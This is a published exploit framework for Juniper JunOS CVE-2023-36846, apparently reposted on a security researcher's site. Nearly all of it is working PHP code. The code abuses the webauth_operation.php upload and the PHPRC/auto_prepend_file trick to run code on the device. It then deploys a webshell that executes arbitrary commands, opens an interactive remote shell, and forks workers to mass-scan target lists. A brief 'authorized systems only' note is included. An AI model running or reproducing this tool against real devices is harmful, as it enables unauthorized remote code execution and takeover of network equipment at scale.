Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Juniper JunOS 23.4 Module Scanner / Exploitation Framework

=============================================================================================================================================
| # Title Juniper JunOS 23.4 Module Scanner / Exploitation Framework

=============================================================================================================================================
| # Title : Juniper Junos OS 23.4 Modular Scanner & Exploitation Framework |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://support.juniper.net/support/eol/software/junos/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213671/ & CVE-2023-36846

[+] Summary : This PHP script is a modular scanner and exploitation framework targeting Juniper JunOS CVE?2023?36846.
It is designed with a clear separation of responsibilities and supports single?target testing, interactive exploitation, and large?scale batch scanning.

[+] Key Components & Flow :

Utilities (Utils)

Helpers for screen clearing, URL normalization, and parsing target lists from files.

HTTP Client (HttpClient)
A reusable cURL wrapper with configurable timeouts, SSL verification, redirects, headers, and POST/GET handling.

[+] Vulnerability Scanner (JunOSVulnerabilityScanner) :

Detects whether the vulnerable endpoint (webauth_operation.php) is accessible.

Attempts controlled file uploads using multiple size heuristics.

Uploads a PHP test payload and an INI file to trigger execution via PHPRC.

Verifies vulnerability by checking for unique execution markers.

Performs cleanup after testing.

[+] Exploitation Module (JunOSExploiter) :

Deploys a functional webshell using the same upload/INI mechanism.

Executes arbitrary commands through the webshell and captures output.

Supports automated cleanup of deployed artifacts.

[+] PoC :

# Quick Scan
`php junos_exploit.php -u https://target.com -r -v`

# Interactive Shell
`php junos_exploit.php -u https://target.com -v`

# Bulk Scan
`php junos_exploit.php -f targets.txt -t 10 -o results.txt`

# Secure Scan (with SSL)
`php junos_exploit.php -f targets.txt -s -v`


<?php


class Utils {
public static function clearScreen() {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
system('cls');
} else {
system('clear');
}
}

public static function parseUrlsFile($filename) {
$urls = [];
if (!file_exists($filename)) {
throw new Exception("File not found: {$filename}");
}

$lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
$line = trim($line);
if (!empty($line) && filter_var($line, FILTER_VALIDATE_URL)) {
$urls[] = $line;
}
}

return $urls;
}

public static function normalizeUrl($url) {
$url = rtrim($url, '/');
if (!preg_match('#^https?://#', $url)) {
$url = 'https://' . $url;
}
return $url;
}
}

class HttpClient {
private $verifySSL = false;
private $timeout = 15;
private $userAgent = 'Mozilla/5.0 (compatible; JunOS-Scanner/1.0)';

public function __construct($options = []) {
$this->verifySSL = $options['verify_ssl'] ?? false;
$this->timeout = $options['timeout'] ?? 15;
}

public function setVerifySSL($verify) {
$this->verifySSL = $verify;
}

public function request($url, $method = 'GET', $data = null, $headers = []) {
$ch = curl_init();

$curlOptions = [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_USERAGENT => $this->userAgent,
CURLOPT_SSL_VERIFYPEER => $this->verifySSL,
CURLOPT_SSL_VERIFYHOST => $this->verifySSL ? 2 : 0,
];

$defaultHeaders = [];
if (!isset($headers['Content-Type']) && $method === 'POST') {
$defaultHeaders[] = 'Content-Type: application/x-www-form-urlencoded';
}

$allHeaders = array_merge($defaultHeaders, $headers);
if (!empty($allHeaders)) {
$curlOptions[CURLOPT_HTTPHEADER] = $allHeaders;
}

if ($method === 'POST') {
$curlOptions[CURLOPT_POST] = true;
if ($data !== null) {
if (is_array($data)) {
$curlOptions[CURLOPT_POSTFIELDS] = http_build_query($data);
} else {
$curlOptions[CURLOPT_POSTFIELDS] = $data;
}
}
}

curl_setopt_array($ch, $curlOptions);

$response = curl_exec($ch);
$info = curl_getinfo($ch);
$error = curl_error($ch);
$errno = curl_errno($ch);

curl_close($ch);

return [
'success' => $errno === 0,
'response' => $response,
'http_code' => $info['http_code'] ?? 0,
'error' => $error,
'errno' => $errno,
'info' => $info,
];
}
}

class JunOSVulnerabilityScanner {
private $httpClient;
private $baseUrl;
private $verbose;
private $randomPrefix;

public function __construct($baseUrl, $verbose = false, $verifySSL = false) {
$this->baseUrl = Utils::normalizeUrl($baseUrl);
$this->verbose = $verbose;
$this->randomPrefix = 'wt_' . bin2hex(random_bytes(4));
$this->httpClient = new HttpClient(['verify_ssl' => $verifySSL]);

if ($verbose) {
echo "[DEBUG] Scanner initialized for: {$this->baseUrl}\n";
echo "[DEBUG] Random prefix: {$this->randomPrefix}\n";
}
}

public function testUploadEndpoint() {
$url = $this->baseUrl . "/webauth_operation.php";
$response = $this->httpClient->request($url);

if ($response['http_code'] === 404 || $response['http_code'] === 403) {
return false;
}


$testData = ['rs' => 'test'];
$response = $this->httpClient->request($url, 'POST', $testData);

return $response['http_code'] === 200;
}

private function attemptUpload($payload, $filename, $mimeType = 'text/html') {
$uploadUrl = $this->baseUrl . "/webauth_operation.php";

$sizeAttempts = [
strlen(base64_encode($payload)),
strlen($payload),
strlen(base64_encode($payload)) * 2,
];

foreach ($sizeAttempts as $csize) {
$b64Payload = base64_encode($payload);
$fileData = "data:{$mimeType};base64,{$b64Payload}";

$postData = [
'rs' => 'do_upload',
'rsargs[0]' => "[{\"fileData\":\"{$fileData}\",\"fileName\":\"{$filename}\",\"csize\":{$csize}}]"
];

if ($this->verbose) {
echo "[DEBUG] Attempting upload with csize={$csize}\n";
}

$response = $this->httpClient->request($uploadUrl, 'POST', $postData);

if (!$response['success'] || $response['http_code'] !== 200) {
continue;
}

$patterns = [
'/0:\s*\'([^\']+)\'\s*\},/',
'/"0":"([^"]+)"/',
'/\'0\':\'([^\']+)\'/',
'/filename["\']?\s*:\s*["\']?([^"\'\s,]+)/i',
];

foreach ($patterns as $pattern) {
if (preg_match($pattern, $response['response'], $matches)) {
$uploadedFile = $matches[1];

if (strpos($uploadedFile, '..') !== false || strpos($uploadedFile, '/') !== false) {
continue;
}

if ($this->verbose) {
echo "[DEBUG] Extracted filename: {$uploadedFile}\n";
}

return $uploadedFile;
}
}

if (strpos($response['response'], 'fileName') !== false) {

$jsonMatch = [];
if (preg_match('/\{"?0"?:\s*"([^"]+)"\}/', $response['response'], $jsonMatch)) {
return $jsonMatch[1];
}
}
}

return null;
}

public function testVulnerability() {
if ($this->verbose) {
echo "[*] Testing vulnerability for: {$this->baseUrl}\n";
}

if (!$this->testUploadEndpoint()) {
if ($this->verbose) {
echo "[-] Upload endpoint not accessible\n";
}
return false;
}

$uniqueToken = $this->randomPrefix . '_test_' . bin2hex(random_bytes(4));
$phpPayload = "<?php echo '[S]' . '{$uniqueToken}' . '[E]'; ?>";

$phpFile = $this->attemptUpload($phpPayload, $this->randomPrefix . '.php');

if ($phpFile === null) {
if ($this->verbose) {
echo "[-] PHP upload failed\n";
}
return false;
}


$iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
$iniFile = $this->attemptUpload($iniPayload, $this->randomPrefix . '.ini', 'text/plain');

if ($iniFile === null) {

$this->attemptCleanup($phpFile, null);
if ($this->verbose) {
echo "[-] INI upload failed\n";
}
return false;
}


$testUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}";
$response = $this->httpClient->request($testUrl);

$isVulnerable = false;
$cleanupFiles = ['php' => $phpFile, 'ini' => $iniFile];


if (strpos($response['response'], $uniqueToken) !== false) {
$isVulnerable = true;
} else {

$cmdTestUrl = $testUrl . "&0=echo+" . urlencode($uniqueToken);
$cmdResponse = $this->httpClient->request($cmdTestUrl);

if (strpos($cmdResponse['response'], $uniqueToken) !== false) {
$isVulnerable = true;
} else {

if (preg_match('/\[S\](.*?)\[E\]/s', $cmdResponse['response'], $matches)) {
if (strpos($matches[1], $uniqueToken) !== false) {
$isVulnerable = true;
}
}
}
}

$this->attemptCleanup($phpFile, $iniFile);

return $isVulnerable;
}

private function attemptCleanup($phpFile, $iniFile) {

if ($phpFile) {
$cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}&delete=1";
$this->httpClient->request($cleanupUrl);
}


if ($iniFile) {

$emptyIni = '';
$this->attemptUpload($emptyIni, $iniFile, 'text/plain');
}
}

public function getExploitInstance() {
return new JunOSExploiter($this->baseUrl, $this->verbose, $this->httpClient, $this->randomPrefix);
}
}

class JunOSExploiter {
private $baseUrl;
private $httpClient;
private $verbose;
private $randomPrefix;
private $uploadedFiles = [];

public function __construct($baseUrl, $verbose, $httpClient, $randomPrefix) {
$this->baseUrl = $baseUrl;
$this->httpClient = $httpClient;
$this->verbose = $verbose;
$this->randomPrefix = $randomPrefix;
}

public function deployWebshell() {
$phpFilename = $this->randomPrefix . '_shell.php';
$iniFilename = $this->randomPrefix . '_config.ini';


$phpPayload = <<<'PHP'
<?php
if(isset($_GET['cleanup'])) {
@unlink(__FILE__);
if(isset($_GET['ini'])) {
$iniFile = '/var/tmp/' . basename($_GET['ini']);
@unlink($iniFile);
}
exit;
}
if(isset($_GET['cmd'])) {
echo '[S]';
system($_GET['cmd']);
echo '[E]';
}
?>
PHP;

$scanner = new JunOSVulnerabilityScanner($this->baseUrl, $this->verbose);

$phpFile = $scanner->attemptUpload($phpPayload, $phpFilename);
if (!$phpFile) {
throw new Exception("Failed to upload PHP webshell");
}

$iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
$iniFile = $scanner->attemptUpload($iniPayload, $iniFilename, 'text/plain');

if (!$iniFile) {
throw new Exception("Failed to upload INI configuration");
}

$this->uploadedFiles = [
'php' => $phpFile,
'ini' => $iniFile,
'shell_url' => $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}"
];

$testUrl = $this->uploadedFiles['shell_url'] . "&cmd=whoami";
$testResponse = $this->httpClient->request($testUrl);

if (!preg_match('/\[S\].*\[E\]/s', $testResponse['response'])) {
$this->cleanup();
throw new Exception("Webshell deployed but not functional");
}

return $this->uploadedFiles;
}

public function executeCommand($command) {
if (empty($this->uploadedFiles)) {
throw new Exception("Webshell not deployed");
}

$url = $this->uploadedFiles['shell_url'] . "&cmd=" . urlencode($command);
$response = $this->httpClient->request($url);

if (preg_match('/\[S\](.*?)\[E\]/s', $response['response'], $matches)) {
return trim($matches[1]);
}

return $response['response'];
}

public function cleanup() {
if (empty($this->uploadedFiles)) {
return false;
}

$cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$this->uploadedFiles['ini']}&cleanup=1&ini={$this->uploadedFiles['ini']}";
$this->httpClient->request($cleanupUrl);

$this->uploadedFiles = [];
return true;
}

public function __destruct() {
$this->cleanup();
}
}

class InteractiveShell {
private $exploiter;
private $isWindows;

public function __construct($exploiter) {
$this->exploiter = $exploiter;
$this->isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
}

public function run() {
echo "\n" . str_repeat("=", 60) . "\n";
echo "JunOS Interactive Shell\n";
echo "Type 'exit' or 'quit' to leave (auto-cleanup enabled)\n";
echo "Type 'clear' to clear screen\n";
echo "Type 'help' for commands\n";
echo str_repeat("=", 60) . "\n\n";


$stdin = fopen('php://stdin', 'r');

while (true) {
echo "junos> ";
$command = trim(fgets($stdin));

if (empty($command)) {
continue;
}

$cmdLower = strtolower($command);

if (in_array($cmdLower, ['exit', 'quit'])) {
echo "[*] Exiting and cleaning up...\n";
break;
} elseif ($cmdLower === 'clear') {
Utils::clearScreen();
continue;
} elseif ($cmdLower === 'help') {
$this->showHelp();
continue;
} elseif ($cmdLower === 'pwd') {

$command = 'pwd';
}

try {
$result = $this->exploiter->executeCommand($command);
echo "[+] Result:\n" . $result . "\n";
} catch (Exception $e) {
echo "[!] Error: " . $e->getMessage() . "\n";
}
}

fclose($stdin);
}

private function showHelp() {
echo "\nAvailable commands:\n";
echo " exit, quit - Exit shell and cleanup\n";
echo " clear - Clear screen\n";
echo " help - Show this help\n";
echo " whoami - Check current user\n";
echo " pwd - Print working directory\n";
echo " id - Show user/group IDs\n";
echo " ls [dir] - List directory\n";
echo " cat <file> - View file\n";
echo " uname -a - System info\n";
echo "\n";
}
}

class BatchScanner {
private $threads;
private $outputFile;
private $verbose;
private $verifySSL;

public function __construct($threads = 5, $outputFile = null, $verbose = false, $verifySSL = false) {
$this->threads = max(1, min($threads, 50));
$this->outputFile = $outputFile;
$this->verbose = $verbose;
$this->verifySSL = $verifySSL;
}

public function scanUrls($urls) {
$total = count($urls);
$vulnerable = 0;
$results = [];

echo "[*] Starting batch scan with {$this->threads} threads\n";
echo "[*] Targets: {$total}\n";
echo "[*] SSL Verification: " . ($this->verifySSL ? "ON" : "OFF") . "\n";
echo str_repeat("-", 60) . "\n";


$chunks = array_chunk($urls, ceil($total / $this->threads));
$workers = [];

foreach ($chunks as $chunkIndex => $chunk) {
$pid = pcntl_fork();

if ($pid == -1) {

die("Could not fork");
} elseif ($pid) {
// Parent process
$workers[] = $pid;
} else {
// Child process
$childResults = [];
foreach ($chunk as $url) {
try {
$scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
$isVuln = $scanner->testVulnerability();

if ($isVuln) {
$childResults[] = $url;
echo "[+] {$url} - VULNERABLE (PID: " . getmypid() . ")\n";
} elseif ($this->verbose) {
echo "[-] {$url} - NOT vulnerable (PID: " . getmypid() . ")\n";
}
} catch (Exception $e) {
if ($this->verbose) {
echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
}
}
}

$resultFile = sys_get_temp_dir() . '/junos_scan_' . getmypid() . '.tmp';
file_put_contents($resultFile, implode("\n", $childResults));
exit(0);
}
}

foreach ($workers as $pid) {
pcntl_waitpid($pid, $status);

$resultFile = sys_get_temp_dir() . '/junos_scan_' . $pid . '.tmp';
if (file_exists($resultFile)) {
$childUrls = file($resultFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$results = array_merge($results, $childUrls);
unlink($resultFile);
}
}

if (empty($workers)) {
// ?????? ???????
foreach ($urls as $url) {
try {
$scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
$isVuln = $scanner->testVulnerability();

if ($isVuln) {
$results[] = $url;
echo "[+] {$url} - VULNERABLE\n";
} elseif ($this->verbose) {
echo "[-] {$url} - NOT vulnerable\n";
}
} catch (Exception $e) {
if ($this->verbose) {
echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
}
}
}
}

if ($this->outputFile && !empty($results)) {
file_put_contents($this->outputFile, implode("\n", $results) . "\n", LOCK_EX);
echo "[*] Results saved to: {$this->outputFile}\n";
}

echo str_repeat("-", 60) . "\n";
echo "[*] Scan completed. Vulnerable: " . count($results) . "/{$total}\n";

return $results;
}
}

function main() {
$options = getopt("t:o:f:u:vsrh", [
"threads:", "output:", "file:", "url:",
"verbose", "ssl", "report", "help"
]);


if (isset($options['h']) || isset($options['help'])) {
showHelp();
exit(0);
}


$threads = isset($options['t']) ? (int)$options['t'] :
(isset($options['threads']) ? (int)$options['threads'] : 5);
$output = isset($options['o']) ? $options['o'] :
(isset($options['output']) ? $options['output'] : null);
$file = isset($options['f']) ? $options['f'] :
(isset($options['file']) ? $options['file'] : null);
$url = isset($options['u']) ? $options['u'] :
(isset($options['url']) ? $options['url'] : null);
$verbose = isset($options['v']) || isset($options['verbose']);
$verifySSL = isset($options['s']) || isset($options['ssl']);
$reportOnly = isset($options['r']) || isset($options['report']);


if ($url && $reportOnly) {
echo "[*] Quick vulnerability check for: {$url}\n";
$scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
$isVuln = $scanner->testVulnerability();

if ($isVuln) {
echo "\n[?] TARGET IS VULNERABLE TO CVE-2023-36846\n";
exit(0);
} else {
echo "\n[?] Target is NOT vulnerable\n";
exit(1);
}
}


if ($url && !$reportOnly) {
echo "[*] Starting interactive mode for: {$url}\n";

try {

$scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
if (!$scanner->testVulnerability()) {
echo "[!] Target does not appear to be vulnerable\n";
echo "[?] Continue anyway? (y/N): ";
$confirm = trim(fgets(STDIN));
if (strtolower($confirm) !== 'y') {
exit(1);
}
}

$exploiter = $scanner->getExploitInstance();
$files = $exploiter->deployWebshell();

echo "[+] Webshell deployed successfully\n";
echo "[+] PHP file: {$files['php']}\n";
echo "[+] INI file: {$files['ini']}\n";
echo "[+] Access URL: {$files['shell_url']}\n\n";

$shell = new InteractiveShell($exploiter);
$shell->run();

} catch (Exception $e) {
echo "[!] Error: " . $e->getMessage() . "\n";
exit(1);
}

exit(0);
}

if ($file) {
try {
$urls = Utils::parseUrlsFile($file);
if (empty($urls)) {
echo "[!] No valid URLs found in file\n";
exit(1);
}

$scanner = new BatchScanner($threads, $output, $verbose, $verifySSL);
$results = $scanner->scanUrls($urls);

if (!empty($results)) {
echo "\n[*] Vulnerable hosts found:\n";
foreach ($results as $vulnUrl) {
echo " - {$vulnUrl}\n";
}
}

} catch (Exception $e) {
echo "[!] Error: " . $e->getMessage() . "\n";
exit(1);
}

exit(0);
}

echo "[!] Invalid arguments\n";
showHelp();
exit(1);
}

function showHelp() {
echo <<<HELP
JunOS CVE-2023-36846 Scanner & Exploit Framework by indoushka
=============================================================

Usage modes:
php junos_exploit.php -u URL [OPTIONS] # Interactive shell
php junos_exploit.php -u URL -r # Quick vulnerability check
php junos_exploit.php -f FILE [OPTIONS] # Batch scan

Options:
-u, --url URL Target URL (https://target.com)
-f, --file FILE File containing URLs (one per line)
-t, --threads N Threads for batch scan (1-50, default: 5)
-o, --output FILE Save vulnerable hosts to file
-v, --verbose Enable verbose output
-s, --ssl Enable SSL certificate verification
-r, --report Report only mode (no exploitation)
-h, --help Show this help

Examples:
# Quick check
php junos_exploit.php -u https://192.168.1.1 -r -v

# Interactive shell
php junos_exploit.php -u https://vuln-router.local -v

# Batch scan
php junos_exploit.php -f targets.txt -t 10 -o vuln.txt -v

# Batch scan with SSL verification
php junos_exploit.php -f targets.txt -s -o secure_scan.txt

Security Notes:
? Use only on authorized systems
? SSL verification is disabled by default for testing
? Tool performs auto-cleanup after exploitation
? Random file names prevent collisions

HELP;
}

if (php_sapi_name() === 'cli') {

$requiredExts = ['curl'];
$missingExts = [];

foreach ($requiredExts as $ext) {
if (!extension_loaded($ext)) {
$missingExts[] = $ext;
}
}

if (!empty($missingExts)) {
echo "[!] Missing PHP extensions: " . implode(', ', $missingExts) . "\n";
echo "[!] Install with: sudo apt-get install php-curl\n";
exit(1);
}

declare(ticks = 1);
pcntl_signal(SIGINT, function() {
echo "\n[*] Interrupted by user. Exiting...\n";
exit(0);
});

try {
main();
} catch (Exception $e) {
echo "[!] Fatal error: " . $e->getMessage() . "\n";
exit(1);
}
} else {
header('HTTP/1.1 403 Forbidden');
echo "This tool must be run from command line\n";
exit(1);
}

?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share